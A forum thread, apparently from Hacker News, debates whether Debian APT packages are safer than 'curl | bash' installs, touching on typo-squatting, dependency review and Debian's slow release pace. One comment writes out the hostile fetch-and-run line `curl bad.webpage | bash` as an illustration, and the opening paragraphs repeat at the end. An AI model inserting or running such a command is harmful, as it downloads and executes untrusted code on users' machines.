APT is part of the core Debian distro. I don't know about "audited", but it's tested, and it's maintained. And the packages in "main" are also tested.
I don't program in Python, and I don't know how Pip packages are audited. An awful lot of the packages in Debian main are Python and Ruby libraries, and I suspect that they are rarely used: I assume most Python and Ruby users rely on their own language-specific package manager.
I also regret the arrival of distro-agnostic package managers like Flatpak. But that's fine; I understand why developers use them, and I'm not going to rag on them for that decision. I'm just much less likely to install them.
My point is, how hard it is for a malicious actor to slip something bad into a "high quality" resource such as APT (or any other method safer than curl|bash). I suspect not that hard.
For Python there has certainly been typo-squatting with malicious packages. Notoriously, something like this happened for node (IIRC, not a JS dev). I can well imagine the general code hygiene for Debian is higher, but unless someone really checks and reads the pyramid of requirements, I think safety is maybe illusorily higher than curl|bash. At the end of the day, I have to trust that whoever is providing the code isn't trying to hack me.
For example, to just install Jupyter Notebook (standard Python thing) installs 72 dependencies (I just checked). Do Debian devs check each and every one of them? From memory, Jupyter is available as an APT package.
Or if someone shares an interesting project on HN and points to a GitHub repo, do I read through every line of code? I'll probably skim through any code before running it. But shelling out to a malicious command (like `curl bad.webpage | bash`:) ) is literally one line and easy to hide.
So yes, if I have some malware that requires literally hundreds of dodgy-looking code, it's easier to slip into a curl|bash. But one little line of evil? Not sure it's easier.
> Do Debian devs check each and every one of them?
Well, if Jupyter Notebook is in main, then the libraries it depends on also have to be in main. That means they have Debian maintainers, and have to go through Debian release management. So yes: in theory, the entire stack is checked.
Not by Debian "devs" - I think those are the guys that work on Debian native software, like the installer and dpkg. The checking is done by Debian maintainers and the release managers. And the users, of course; I'm ever grateful to the users who install Sid, and report back to the maintainers.
Most software which doesn't just curl|bash tells you to add their custom repo to APT/YUM/APK/whatever. Very few packages actually rely on the Debian maintainers to add them to the core package repos as a way of being distributed, and even fewer want to use Debian's glacial pace of releasing updates.
Well, I avoid custom repos; I used to have a couple installed on one system a few years ago, but evidently I'm not using "most software".
You're right about Debian, that it moves at a glacial pace. For some of us, that's a benefit. Debian (main) is noted for its stability, and people running services that already work fine, prize stability over new features.
FWIW I switched to Devuan on most machines. I think Debian was over-hasty in jumping on the bandwagon. But Devuan rides on Debian's coattails; I still rely completely on Debian's policies and release processes. I consider myself a Debian user.
It's not any worse. The exceptions are the official repos for some of the major distros that have lots of active maintainers and eyeballs looking at and testing this stuff.
APT is part of the core Debian distro. I don't know about "audited", but it's tested, and it's maintained. And the packages in "main" are also tested.
I don't program in Python, and I don't know how Pip packages are audited. An awful lot of the packages in Debian main are Python and Ruby libraries, and I suspect that they are rarely used: I assume most Python and Ruby users rely on their own language-specific package manager.
I also regret the arrival of distro-agnostic package managers like Flatpak. But that's fine; I understand why developers use them, and I'm not going to rag on them for that decision. I'm just much less likely to install them.